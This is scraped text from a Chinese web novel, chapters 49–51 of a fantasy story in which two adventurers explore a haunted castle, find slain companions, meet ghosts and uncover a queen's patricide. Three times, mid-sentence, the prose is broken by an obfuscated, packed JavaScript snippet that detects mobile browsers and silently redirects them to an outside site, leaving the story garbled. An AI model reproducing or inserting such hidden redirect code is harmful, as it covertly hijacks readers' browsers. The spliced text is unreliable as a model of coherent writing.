她拉着林千平走出花田,来到铺着砖块的大路上:“我刚才看到了,那些仆人都是从那儿出来的。”她指着远处的一个拐角,模模糊糊地能看到有一扇小门。
林千平拍拍她肩膀,高兴地表扬道:“干得漂亮!”
二人带着愉快的气氛小声聊着刚才的情景,分析起那到底是人为的法术还是怪物的幻象,很快就走到了仆人专用的小门边。
这道木门仅可供一人通过,此时竟也虚虚掩着。门缝里漏出微弱的火光,同样听不见有什么动静。
林千平抽出腰间的宝剑,紧靠着墙壁轻轻顶开木门。没有受到阻力,也没有想象中的攻击出现,她大着胆子完全推开小门,更多的光线铺满了地面。
门内是一条过分昏暗的通道,两边的墙面上简单地安置着油灯,所提供的照明仅够看清脚下的路。路的尽头也亮着灯,看起来空间要更大一些。
王清虞跟在林千平后边关好门,牵着她背包上的绳索一步一步跟着往前走。
随着她们前进的步伐,一道石质楼梯逐渐出现在二人眼前。石梯向上延伸,又在不远处左转了个方向。楼梯两边是高大冰冷的墙壁,底层潮湿的气候使得缝隙中长出不少滑腻的青苔。
照明工具仍是墙上的小油灯,两人一前一后小心地走着,尽量不让自己碰到阴冷的墙面。
林千平感觉到王清虞紧张地拽住了自己的背包,她被肩带勒得有些不舒服,只好加快脚步往楼上走去。楼梯的尽头再次出现一扇木门,林千平试着扭动门上的金属把手,轻松地拉开一道缝隙。
二人站在门前窄窄的平台上,王清虞紧挨着林千平立在门后,随着吱呀的门叫声,比楼道里更亮一些的光线照进这片昏暗的空间。
林千平静等了一会儿,才从门后转到前头查看情况。
“又是通道?”王清虞挤到她身旁,探头探脑地跟着左右观察。这条通道总算有些不同,往右通往一条在尽头左转的窄路,往左不远处则另有一道小门。
“我们先从这里出去。”林千平选择了左边那扇门,领着王清虞来到门前。
门上没有把手,也不见门框。林千平左右摸索了一通,试着在边缘推了推,就听见有阵木头摩擦的响声传来。她使劲推了一把门边,另一头竟向内翘了起来——这应当是道旋转门。
门里又是更为明亮的一块地方,地面上满铺着红底的花纹地毯,墙面上装饰着精致的小灯和夜明石。正对着的前方是几道窗户,窗外黑色的风景倒映出林千平紧绷着表情的脸。
她们带着背包挤出门缝,旋转门翻动两下,轻巧地合上了。门旁的墙面上挂着壁毯,间或装饰着几幅雅致但乏味的风景画。
这是一条看不见门的走廊,除了她们出来的那条通道以外,这里没有其他可供出入的地方。两人此时正面对着窗户站在走廊的尽头,左手几步远的地方是另一扇大窗,宣告着这条路的终结。右手边不远处向右有个转角,墙上漂亮的花形银色小灯安静地亮着。
林千平手握长剑,一步一步朝右走去。脚下的地毯吸收了所有响动,只发出轻微的沙沙声。
她们靠着窗边,小心地走到拐角。探头去看,前面同样是一条走廊,仍在尽头右转。走廊两边各有一扇门相对着,左边的门紧闭,右边的门半开着,里面看起来似乎一片狼藉。
王清虞跟在林千平身后,眯着眼看清了门口胡乱堆着的究竟是什么东西:“好像躺着个人……”
林千平靠得更近,替她完善了信息:“耳朵……那是范斯!”
那可怜的姑娘背靠着墙侧倒在地上,身后被劈开一道狰狞的口子,鲜血早已停止向外涌动。她们凑到近前,林千平捏着符箓站在看得见室内状况的那一边,王清虞则越过门框,站在另一边用剑缓缓推开了这道门。
室内的状况随着门板的移动一点一点展现在眼前。这间屋子摆放着舒适的椅子和镶嵌着乳白色石板的桌子,最里面靠墙立着几个书架,门边用来展示花瓶的架子倒在地上,那漂亮的瓷瓶则滚到酒柜前,和几瓶红酒一起碎成了两半。
范斯倒在门口,她的右前方躺着勒汀,林千平转到门后查看情况,狗头人凯瑞恩浑身是血地躲在一张双人沙发椅背后,只露出个毫无生机的毛脑袋。
屋子里浓重的血腥味和红酒酸涩的气味混合弥漫在空气中,门前的地毯濡湿了一大片,已经成为一张色彩统一的红毯。厚重昂贵的椅子上有几处因被灼烧而断裂的痕迹,杂乱的剑痕落在各处,墙面上、地毯上、壁炉边……还有两位同伴的身体上。
勒汀面色发青地侧头趴倒在地,微张的右手边是那把饱饮鲜血的长剑。他的身上没有明显伤口,仅在胸前的铠甲上有一些焦黑的凹痕。
范斯的法杖掉在她身前,凯瑞恩背上的箭袋没有打开的迹象,短刀也完好地挂在腰间。
一切似乎已经明了,这是一场发生在同伴之间的,充满哀伤的屠杀。勒汀不知出于什么缘由,在他们进入这个房间不久后突然性情大变,很快刀剑向内,追砍起身边无知无觉的同伴们。
凯瑞恩是个忠诚而善良的伙伴,他或许曾经尝试唤醒朋友,因而到死也没有拿出武器反抗。范斯的魔法成功击中了勒汀,却在即将逃离房间时失血倒下。
那位开朗热情的战士大约也没有机会得知自己所犯下的暴行,就这么拿着凶器永远失去了意识。
王清虞久久地站在门边,一动不动地盯着范斯那张染着血迹的侧脸,不知道在想些什么。
林千平检查过房内的痕迹,悄悄敛下泛酸的心情,尽量让自己的语气听起来没有那么悲伤,以免破坏彼此的士气:“这层一定有什么难缠的怪物,我们得小……”
她回头去看好友,冷静分析的话尾转了个弯,变成一句温柔的提醒:“小心。”她揽过王清虞,掩上了她身后那道大开着的门。
王清虞攥紧手里提着的剑,几颗泪珠无声砸在吸饱液体的地毯上。林千平在她身旁垂着手静立了一会儿,什么也没说。
好友心里此时正在想些什么,她再清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396026|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楚不过了。他们的死亡,究竟与自己有没有关系呢?假如和他们一起组队,结局会不会有所不同?
她们知道这样的想法是过分自大的、毫无必要的自我折磨,但眼泪和情绪从不会心甘情愿地受制于理性。
悲伤是一件好事,至少能够证明我们还未麻木、我们尚未迷失。
“自相残杀,也许是怨灵附身。”王清虞含糊地开口,声音里还带着些鼻音。
“范斯不是已经找到通过怨灵区的办法了吗?怎么还会……”林千平瞟了几眼王清虞的表情,接上她的话分析起现状。
王清虞不再回答,神情愈发疲惫。林千平走到书架前找来纸笔,招呼她先到椅子上坐着:“以防万一,我先画几个超度阵法作备用,你坐着歇一会儿。”
王清虞轻飘飘地坐到远离门口的沙发椅上,将脸埋在手心里,手肘杵在膝盖上支撑着脑袋静静地呆着。林千平画完几张法阵图,将其中几张递给王清虞。她此时已经调整好情绪,喝了些水,乖顺地接过这些厚实的保命图纸。
三位可怜的朋友被拖到壁炉前的空地处整齐地安置好,她们不懂复生魔法,也无法带着三具身体前行,再次探索过这间看起来像议事厅的屋子后,双双心情复杂地回到了走廊上。
对面的那道门依旧紧闭着,她们不敢冒失地上前打开,两人向右前进,从拐角处再次小心查看。走廊的正前方尽头是个雅致的橱柜,上面摆着一个银色的金属双耳花瓶,右边是一块向内凹陷的区域,歪过身子仔细观察,可以发现那是一处连通上一层和下一层的木质楼梯。
林千平看见楼梯,眼睛很是亮了起来,但很快,那点欣喜又被路上的阻碍所打消——走廊的左手边有一扇宽敞精致的双开大门,有一半门板正大敞着,看不见里面具体有什么东西,如果想要到达楼梯口,就必须经过这道半开着的门。
王清虞举起宝剑,表示这回由她先去打探情况。两人胸前的皮甲里塞着阵法图纸,林千平左手攥着几张功能不同的符箓,右手单独捏着一张雷电符咒,做好了随时发起进攻的准备。
那同样是道内开的门,左边半扇关着,右边半扇向内打开,随着脚步的移动,一个灯火通明的华丽大厅逐渐出现在视线里。
大厅里铺着光滑的木地板,高大的拱形窗户边垂着长长的窗帘,窗顶则挂着纱质的帷幔。天花板上吊着几盏剔透繁复的水晶灯,上面的蜡烛不见消减地燃烧着。王清虞走到门的另一边,可以看见大厅左边最深处有一道关着的双开门,可见的范围内没发现有什么危险的怪物。
两人在门口犹豫着还要不要进门查看门后被遮挡住的那部分区域,林千平看了看那道的楼梯,轻声同好友提议:“我们先……”
三个细碎的音节刚被发出,开着的那扇门突然被一只干枯丑陋、长着尖锐长指甲的手猛地击出一个大洞!
那门后竟然真的躲着一只怪物!
林千平来不及多想,趁着那只怪物转到门前的空档,推着王清虞就往楼梯口跑去。身后传来的脚步声又响又快,林千平念着咒语转身,挥手间几道如日光般刺眼的闪电狠狠击中了那个身影。
49.西幻
电光火石之间,林千平瞥见了那只怪物的模样:干瘦的身体穿着件破烂的华丽外套,衣服上缀着宝石和金子,胸前系着层层叠叠的白色领巾。发灰的皮肉紧紧地箍在骨头上,使得整个头颅就像是个仅蒙着层人皮的骷髅头一样。它的牙齿尖锐锋利,白森森地排布在那张没有嘴唇的嘴里,蓝绿色的眼睛外凸着,脑袋上只有几撮稀疏的白发。
这只衣着光鲜的怪物被闪电狠狠劈打几次,衣物几乎都要被烧光,熏黑的宝石和金片噼里啪啦地掉了一地。林千平跑到楼梯边,诧异地回头看了看停在半路的怪物。它扑通一声倒在地上,似乎是失去了生息。王清虞此时已经向下跑到楼梯拐角,喘着粗气朝上问道:“死了吗?”
林千平还未作答,那怪物就晃晃悠悠地把自己撑了起来,举着两只又长又尖的利爪继续朝她们奔来。
“又活了!”林千平三两步跳下楼梯,推着好友继续向下逃跑。
两人跑了几段楼梯,来到一楼的某个大厅角落。宽大的琉璃窗下,金边红垫的王座静静伫立在高台上,座位两边各立着一只照明用的烛台,挑高的天顶垂着画有徽标的旗帜和帷幔,一大两小三盏水晶灯照亮了长长一道绣着金银线的红色地毯。
林千平踩在平地上,半转过身观察情况:“它好像没追过来?”她伸手想拍拍王清虞,没想到却挥了个空。
王清虞不知何时已经向前又跑出一段路,正站柱子边两眼放光地注视着王座。林千平跟上前去,刚想发问,耳边就听得一阵整齐的人声:“愿柯尼翁与你我同在!”
窗外的阳光高高地从上洒下,丁达尔效应使得光线犹如绷紧的丝绸般缕缕点缀于空中,为眼前这场盛大的加冕仪式披上几分神圣的光彩。温特兰的新王碧温斯殿下手执权仗与圣杯,头戴宝石王冠,身披红色锦袍,端坐于王座之上,面色平静地注视着台下齐声高呼的人们。
她看上去比在花园里喝茶的时候要年轻不少,脸上还能看出少年时期独有的饱满且稚嫩的轮廓。
林千平半边身子戳在一个贵族的身体里,怪异的视角令她不自觉向前走上了那道长条型的地毯。她刚迈出步子,身边聚集着的人们霎时间突兀地消失了。幻境似乎移动到了下一个时间点,阳光更加灿烂温暖,高台下站着一些近臣和侍卫。大厅正中间的位置上,梳着辫子的银发精灵正在摘下兜帽,语调轻快地介绍着自己:“国王陛下,我叫米维欧里斯。”
林千平随着她的视线朝着王座看去,国王身后的窗子射出刺眼的亮光,使人看不清她的表情。林千平只能依稀看见她瘦削紧绷的下巴,略薄的嘴唇在一段有些长久的沉寂之后开始张合:“米维欧里斯,温特兰欢迎你的到来。”
话音刚落,阳光随即如烟般消散。亮着昏黄灯光的大厅里,两个冒险者并肩站在水晶灯下,再一次目睹了那神奇的幻象。
“她登基的时候看起来好年轻啊。”林千平随口感叹道。不待王清虞回答,她就注意到了王座对面的正门是开着的,旁边堆散着两套擦得闪亮的铠甲。林千平立刻拉过王清虞靠到右边的墙壁,二人谨慎地往前缓慢移动。
她们紧挨着墙壁,在柱子的缝隙间看到了意料之中的混乱场面:外厅的守卫倒了一地,墙壁和地板被打出了好几个洞。
“范斯他们肯定是从这道正门进来的。”林千平分析着那三人可能的行动路线,顺势在墙边停下脚步。
“我觉得是19岁。”王清虞没跟上林千平的思考节奏,没头没脑地回答了她上一句闲聊。
“不是19岁,是16岁!”一道欢快的声音随着它的主人横插进了两人之间的空隙——物理意义上的。
王清虞盯着眼前突然从墙上冒出来的灰白色幽灵脑袋,条件反射地向前挥出一拳,猛地砸中了林千平的胸口。
那颗平行漂浮着的脑袋露出个夸张的惊愕表情,不嫌事儿大地开始起哄:“自相残杀!自相残杀!欧文老师!我说您应该来看看的!”
四周静悄悄,没人回答她,脑袋于是往后缩回墙内,只留两个被“自相残杀”的好友还在原地面面相觑。王清虞那一拳锤到了林千平胸前的皮甲上,坚硬的护甲反击了她的拳头,这会儿正吃痛地甩着手腕。林千平好笑地凑上前替她揉起手背,王清虞轻轻回踢了她一脚,以示自己的不满。
二人间的这段互动全落在了不知何时又冒出来的幽灵眼中,她发出感动的叫声,带着浮夸的哭腔高声说道:“可怜的爱人们,愿柯尼翁保佑你俩!”
林千平四下寻找,终于在脚后的墙根处发现了这只捣蛋鬼。她好奇地蹲下身问道:“你是谁?你怎么会说话?”
梳着整齐盘发的幽灵洋洋得意地翘起嘴角,她看上去年纪不大,做起这样自傲的表情只会让人觉得滑稽又可爱:“我是芬妮特,芬妮特当然会说话。”
“那么芬妮特,你为什么在墙里?”王清虞也蹲了下来,耐心地和这位小鬼头进行交流。
“我在厨房里,不在墙里。”芬妮特眨眨眼,继续说道:“欧文老师请你们也来厨房休息休息,往这儿走!”她急匆匆地传完话,向前飞快地穿过了正门所在的那堵墙。
两位冒险者将信将疑地跟了过去。小心通过门缝,外厅横七竖八地倒着好几套铠甲,右手边的墙上有扇双开门,芬妮特正站在打开的门内朝她们招手:“两位客人,在这里!”她的肢体似乎格外灵活,招呼两人时的动作几乎与常人无异。
林千平停在厨房门口,问道:“你的欧文老师呢?”
芬妮特似乎无法走出厨房,她轻飘飘地原地转了几圈,很快从屋内叫出了她的老师。
那是一位穿着围裙、挽着袖子的壮实妇女,她的头发同样盘在脑后,脑袋顶上还紧紧压着头巾。她甫一现身,就滔滔不绝地数落起自己的学生:“我正在和面呢!干什么把我叫到这儿来!你知道枫糖苹果派是一定得出现在晚餐的对吧?是不是?我考考你……”
她絮絮叨叨说了一通关于苹果派的重要性和技术要点,这才腾出嘴巴关心了一下门口傻站着的冒险者们:“快来歇歇脚吧,孩子们,柯尼翁在上,今天究竟是什么好日子?刚送走了三位客人,这又来了两位,我得有几百年没这么忙活了,快坐吧,这块儿暖和。”
林千平看了看王清虞,两人用眼神商量了一会儿,终于选择跟着这位又高又壮的女士走进厨房,随着她的安排坐到壁炉边的椅子上。
两只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399563|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幽灵替她们分配好了位置,又神游般地去忙自己的事儿了:一个继续和着看不见的面团,另一个则满屋飞着用脑袋练习穿墙术。
林千平解开背包,从里面拿出食物递给王清虞:“吃点吧,你快一天没吃东西了。”
王清虞接过面包,塞在嘴里没滋没味地咬着:“你不吃吗?”她看到林千平又把油纸原样封好,疑惑地问道。
“我好像……不是很饿。”林千平犹豫地说出了自己身体的变化:“从怨灵区出来以后,我就……没感觉到累,也不饿、也不渴、也不困。”
“好像那些灵魂被超度了以后……就成为了我的一部分?”林千平看着手心,语气飘忽不定:“不过,我直觉这应该不是什么坏事。”
王清虞想了想,也同意了她的说法:“超度这种事,怎么说也算行善积德吧……就是我那本书里也写了,净化灵魂是种,呃,增长功力的好办法?”她努努嘴,指了指被靠在背包旁的皮挎包。
“净化?你们是牧师?”欧文女士许是已经和好了面,手里虚空端着什么东西“坐”到她们身边,一边两手忙活着一边自然地接上话题:“昨天来的那三个人招惹了肯恩殿下,就在楼上,你们也是来净化他的吗?那可难办了,芬妮特看到的东西说出来能吓坏你们……”
她叫来到处飞着玩的小鬼魂,要她把看见的情景都告诉这两位面善的姑娘:“你来说说,就是看到两个殿下的事儿。”
芬妮特神秘兮兮地压低嗓音,拿腔拿调地讲起自己的所见所闻:“我昨天把脑袋放到天花板上,想多看看那个可爱的小狗头,没想到他们居然惊动了肯恩殿下!我是知道他从棺材里又爬出来的,我认得他的衣服……平时他就在舞会厅里傻呆着,要我说他的脑袋应该早就烂了……”
“芬妮特,重点!重要的事先说!”欧文老师严厉地训责道。
“哦哦,我从来不知道他居然还会走路!他追着那三个可怜的人到了里间的更衣室,他们把门关上就挡住他了……后来、后来,那群家伙从餐厅跑出来,后面跟着蓝色的、样子特别清楚的肯恩殿下!”芬妮特长吸一口气,似乎还在为看到这样的事而感到恐惧。
“两个殿下在通往楼梯的走廊里拦住了他们,可怜的狗狗脑袋……他吓得都不会喘气了,他们好像逃进了议事厅里……后来的事儿我就看不到了。”芬妮特打了个冷颤,身体像坏掉的电视讯号般扭曲了一瞬。
林千平看看王清虞,不确定是不是该把他们的悲惨结局告诉这个单纯的孩子。
“肯恩本来也不是什么好东西。”欧文忙着手里的“活计”,一转态度咒骂起那位“殿下”:“活着就没做过多少好事,死了还要再出来作恶!温特兰有过这样的国王真是可悲、可悲!……碧温斯殿下才是真正顶好的国王,威利居然还敢说她的王位来路不正!陛下明明就是为了我们牺牲了自己上天堂的机会……哎,我可怜的陛下……”
林千平及时打断了她哀哀戚戚的哭泣悼念,紧跟着问起细节:“为什么这么说?牺牲了自己上天堂的机会?”
芬妮特在一旁替她的老师回答道:“城堡里早都传遍了,碧温斯殿下亲手杀了自己的父亲,这才能成为国王。”
50.西幻
优雅、端庄、完美,任何形容美好的词语都可以用在碧温斯?卢维斯特的身上。
她成绩优异,精通矮人语和通用语,政治天赋极佳,剑术也很棒。她擅长弹唱,嗓音足以与最出色的歌手相比。她温和乖巧,没有人会不喜爱她平易近人的脾气、她悲天悯人的性格。
16岁的碧温斯有着苹果般红润可爱的脸颊,和春日湖水般碧绿灵动的双眸,还有一头顺亮浓密的黑发,肯恩早就计划好了,今年她就会被嫁到南边的卡洛维亚去。
他心里盘算着这场婚姻所能带来的财富和资源,手中握着纯金铸造的华丽酒杯,拇指一下一下抚摸着杯壁上的一颗红宝石。
餐厅里回荡着悠扬的音乐,那是从一个魔法宝盒中传出来的。温特兰有供养半精灵法师为皇室提供人身保护的传统,最近这些年天下太平,那个长耳朵的家伙就开始瞎搞这些乱七八糟的东西。
肯恩焦躁地把酒杯搁在桌上,沉重的金杯接触到铺着桌布的木桌表面,发出略大的闷响声。
他的太阳穴突突乱跳着,周围的一切都叫他看不顺眼起来。小儿子塞穆尔不知为何坐在位置上闹着不肯吃饭,挣动间一掌拍掉了佣人手里的银勺。金属勺子打在瓷盘上,刺耳的碰撞声瞬间点燃了肯恩的怒气。
“把你面前的东西都吃掉,塞穆尔。”他冷声命令道,随即抬手挥退了所有服侍的佣人。餐厅大门被轻轻关上,硕大的房间里只剩下这貌合神离的一家五口。
塞穆尔今天发了烧,难受得吃不下东西,在父亲的训斥下委屈地默声流着泪。塔西娅王后紧张地低声安慰着儿子,希望他把眼泪尽快收回去。
可惜那张小脸上挂着的泪痕不巧正被愤怒中的国王所瞥见,肯恩摔下餐巾,走到小儿子的面前伸手就要拽他。塔西娅挡在儿子跟前,颤抖着哀求道:“陛下,请不要这样,他才五岁,他只有五岁……”
两个响亮的巴掌回应了她的请求,塔西娅的嘴边溢出血丝,耳朵内部刺耳地尖啸起来。
碧温斯从始自终一直端坐在自己的座位上,就像一尊美而无力的塑像。直到塞穆尔被揪着衣服拎到半空,她才放下餐具,叹息般地朝暴怒的国王说道:“父亲,陛下,由我来替他受罚吧。”
肯恩那双因愤怒而外凸着的眼睛转向自己的大女儿,她乖顺又漂亮,自从她被决定要嫁去隔壁国家以后,自己已经很久没有动手打过她了。
毁坏这样完美的事物一向是他最爱做的事,他扔下手中的小猎物,回到自己的座位上,满怀期待地将杯中美酒一饮而尽。
碧温斯送走母亲和弟弟妹妹,牢牢地、结实地关上了餐厅的大门。
她走到秃顶白发的父亲身后,右手拿起镶满宝石的沉重酒杯,体贴地为他斟酒。酒液逐渐灌满金杯,直至溢出杯边,流到了手心里。
酒瓶向下滑落,砸在了地毯上,而酒杯,则重重地落到了那个丑陋的秃脑袋上。
那种手感就像打中了什么硬物,只发出沉闷的撞击声。感觉很脆,又有点硬,不算舒服,和训练时使用的木人很不一样。第一下她收着力气,那颗脑袋还能大声惊叫咒骂。
接下来就容易多了。
她擦去脸上溅到的鲜血,打开一扇靠近花园的窗户,把酒杯扔到草丛里。随后扯乱头发,撕破裙摆,一边砸碎碗盘,一边大声痛哭尖叫。她的眼泪流得又快又多,就像每一次声泪俱下地祈求父亲放过自己时一样。她摔烂碗碟的动作利落干脆,眼神紧盯着餐厅的大门。她的喊声无比凄厉,脸上却只有嘴边的肌肉在活动着。
等到守卫冲进房门,她手里正好拿着一把餐刀,很快便捂住脸,任凭自己摔倒在碎片上。她的双臂割满口子,低头挥舞着餐刀更加剧烈地大叫着。
消息很快传开了,肯恩国王遭遇刺客暗杀身亡,碧温斯公主因受惊过度大病在床,塔西娅王后悲痛欲绝,带着年幼的两个孩子离开温特兰,向东返回了自己的国家。
碧温斯被留在了这座充满阴暗回忆的城堡里,她传信作废了婚约,杀了几个必要的人,很快成为了新一任统治者。
权力的滋味异常美妙,但那并不足以修补好碧温斯破碎的胸膛。她时常感觉得到,那个冷酷残暴的怪物仍在这栋华美的建筑里徘徊游荡,阴森寒冷的眼神无时无刻不在她的脸上巡走。
林千平抬头望着有些被熏黑的天花板,出神地发着呆,想象那只丑陋的活死人此刻就在她们头顶上四处踱步。王清虞睡在她身边,头发凌乱地贴在脸上。那两位友好的鬼魂此时也都窝在角落里闭目养神,她们感觉不到疲劳,也无法实际上睡着,但仍旧维持着人类的生活习惯,也许这就是她们几百年来都未曾失智消散的秘诀吧。
那个无能残忍的老国王从棺材中复活了,成为了城堡二楼的统治者。碧温斯呢?她还在这儿吗?她也会年年月月地呆立在城堡里,等待着冒失的入侵者们闯进她的地盘,然后用上尖牙和利齿,疯狂地驱赶这些还活着的人类吗?
不应该是这样的,林千平想到。
地下城没有白天,因而从睡梦中苏醒的人们自然无法享受到被阳光唤醒的美好。他们只能迷茫地睁开眼睛,让大脑告诉自己现在到底是不是该起床了。
林千平看了看厨房里的沙漏,王清虞大约睡了7个多小时。
“你完全没睡吗?”王清虞还闭着眼,像条虫一样拥着睡袋坐在地上。
“没有,我睡不着。”林千平替她拿来衣服和靴子,它们都铺在壁炉旁边,被烘得十分暖和。
芬妮特见状,也像模像样地模仿着林千平的姿势,在自己的老师身上做着更衣的动作。欧文女士抹着不存在的眼泪,感动地夸奖起她:“几百年了,芬妮特,你长大了,你是成熟的好孩子了!去吧,好好洗洗脸,今天咱们吃香喷喷的黄油炒蛋!”
王清虞在水缸里灌满水袋,又洗了把脸,吃起烘烤过的肉干三明治,饶有兴趣地看着她们在灶台边忙活。林千平收拾好背包,坐到她身旁:“欧文太太告诉我一条仆人用的通道,我们可以从那里上三楼看看。”王清虞点点头,想起自己的任务,补充道:“诶,让她俩画个…呃,口述一下地图呗,我们直接找到图书室去。”
林千平展开握在手里的羊皮地图,背
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410904|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面用炭条画着个歪歪扭扭的示意图:“昨晚只有你能睡着,大家都可闲了。”王清虞看着地图,朝她嘿嘿笑了两声。
告别了这个温暖舒适的厨房,她们走进壁炉边的小门,发现自己来到了最初进入城堡时遇到的那条石梯的后面。门口的油灯不知被谁打碎在了地上,通道里火光昏暗,她们那时才没能看见这道门。
上楼开门,又是那条选择左右的岔路,上回从左边的门去到了二楼,这次她们向右走过通道,在转角处发现一道门和一条向上的石梯。
门上安着个黄铜把手,林千平试着扭了扭,门很快开了。这是一道内开门,门的厚度似乎有些异常地宽了,直到全部打开,她们才发现,门后竟然连接着议事厅的某个书架。
房间里的气味已经不再浓郁,林千平沉默地合上门,转身若无其事地招呼王清虞往楼梯走去。
二人一前一后安静地踏上楼梯,随着当中偶尔出现的平路一直向前走,从尽头的小门来到了一间起居室。
她们走出门洞,伪装成墙壁的门板在身后悄然关闭。这间起居室宽敞而明亮,两扇漂亮的拱窗若是在晴天,一定能将房间的每个角落都洒满阳光。起居室连通着主人卧室,双开门在漂亮的拱顶下紧紧关着。两人绕过桌椅,选择打开通往走廊的那一道门。
长长的走廊里同样铺着地毯,对面的墙上排着好几扇门。左边尽头是窗户,右边的尽头有着楼梯,林千平轻舒一口气,这回总算不用七拐八拐地四处转圈圈了。
她们跟着欧文所画的地图,走到左边尽头的一扇房门前,这里“据说”就是图书室。欧文太太已经很久很久很久——没有上过三楼了,她只能模糊记得图书室里两面墙上都有窗户,碧温斯殿下特别喜欢在那里处理公务。
两位探险者如同曾经打开其他那些门时一样,一左一右地站在门两侧,一个开门,另一个则随时准备发起攻击。
门没有上锁,顺利地被打开了,房间内传来一阵清新的气息,令两人精神一振。图书室的确室如其名,一层就靠墙摆着许多书架,只在窗户前为阳光留出了通路。二层沿着墙壁建了一圈窄小的走道,好让人能踩着梯子去够到那些通天高的书架。
碧温斯的办公桌宽大且整洁,正对着一小片没有摆放书柜的墙面——那里安置着壁炉,上方的墙壁直到二层的地板底部,整片区域都被一幅精致的壁画所占满。
屋里没有其他生物,幽灵、怪物、尸体,什么也没有。林千平的视线落在那副壁画上,立刻就被它吸引住了。那幅画里描绘着一个身着白袍、被众天使所簇拥的男人。他的面部画得并不精细,但从这幅画的主题可以推测,这大约是温特兰国所信仰的那位“柯尼翁”神。
柯尼翁走在一片充满云雾与鲜花的草地上,身旁有许多长着翅膀的人们围绕着他,有女人、有男人、有小孩,也有老人。天空中闪烁着彩虹、星辰、月亮与太阳,画师似乎竭尽所能地想要让这幅画变得丰富多彩,以至于看起来繁复得甚至有些伤眼。
王清虞在那张书桌边似乎翻找到了什么,忽然惊呼道:“果,你快来!”
51.西幻
林千平转身来到桌前,看着王清虞手里一个字也认不出来的几份文件,听她读起上面的内容:“……多位居民报告称,火灾发生当晚曾经在各处起火点目睹了神秘黑袍人的身影,目击时间均在起火前不到一个小时。”
接下来是两份治安所的出警记录:“……本肯大街与周边街道的居民区发生大型火灾,集结十二小队士兵前往救火。……火情难以扑灭,且蔓延极为迅速,最终由艾瑟尔费前来传教的教士们使用魔法熄灭。”
另一份记录则写明了这些传教士们大张旗鼓的传教行为:“……本肯大街与北尼特街的交汇口处聚集大量居民,极大程度干扰了灾后救援与清理工作,疑似为库布尔教士与其助手为传颂阿凭塔女神的教义而刻意吸引无关居民集会,已派出小队进行驱散处理。”
“听起来好像是,这些其他国家来的教士,为了传教故意放火,然后……再用魔法灭火,好让民众全都感叹于他们的……神迹?”林千平听完这些报告文书,简单地总结出了某个关于宗教与阴谋的残忍故事。
“他们想要的可不止是信徒。”王清虞放下那几份文件,露出压在最下面的一封信:“写这封信的贵族在信中强烈恳求国王不要听信谗言,艾瑟尔费在中部已经吞噬了许多小国,他们的国民全被当作奴隶奖励给了那些传教成功的教士们。”
“让我猜猜国王的回复,应该是……抗争到底吧?”林千平望向窗外,灯火通明的城市尽收眼底。
她想起多琳所描述的那场灾难,各式各样的魔法在天空划出美丽的拖尾,一个一个,全都落在漂亮的房顶上、热闹的街道上、精心打理的花园里……最终又落到或惊叫或痛哭的人们身上。
这不是征服、不是神谕,这是残忍的玩弄,是毫无人性的虐杀。
阿凭塔知晓此事吗?她若是慈悲慷慨的神明,又怎会放任自己的信徒犯下如此罪孽?倘若她当真无知无觉,无喜无悲,那又为何要赐予人类这样强大的力量?
两个从不信仰神明的异世者静立房中,头一次窥得了这个世界奇异的运行法则。王清虞思考着这段残酷的历史,手上随意翻动起桌边堆着的书籍。
艾瑟尔费的历史和传说、国王传记、魔法的起源与使用……碧温斯苦求生路,决心与温特兰共进退。
她是否会责备自己太过单纯,看不清大陆的风云变幻?她有没有怀疑过自己的爱情,忿忿其使她失去理智?
一张草草撕下的边页从某本书中落下,张扬而锐利的笔迹写下了这样一句话:“人们毕生信仰,不过食水阳光,和饱胀的欲望。”
林千平不愿再沉浸于这样忧郁的氛围里,她想要做点什么找回自己,于是随手拉开了那张大桌的抽屉。那里头堆放着一些泛黄的卷轴,轴头上镶着黄色的宝石。
她随意取出几个放在桌上,好能看清抽屉深处的其他东西。其中一个卷轴的系带散开,咕噜噜地滚下桌边,砸在蹲着翻底柜的王清虞头上。她拿着那个卷轴站起身,烛台的暖光打亮了上面写着的标题:《复生卷轴》。
王清虞挥手捶了一把林千平,揪着她吃痛的胳膊要她来看:“复生卷轴!复生卷轴!这里写了,没有魔法天赋的普通人也可使用!”她挥动着从卷轴里滑落的一张手写的使用说明,几乎要从原地一下蹦到二楼那般激动:“范斯他们有救了!”
“不对,不对。”林千平赶紧按住她,朝那兴奋的火苗上泼了盆冷水:“范斯不是说过吗?这里没法复生,死了就是真死了。”
王清虞冷静了一小会儿,很快又迅速而固执地说道:“不会的,我刚才就在想,我觉得我已经想明白了——”
“这里被禁止使用的,只有阿凭塔的复生魔法。”
林千平茫然地看着她,下意识地跟着她的话开始思考起这种说法的可能性。
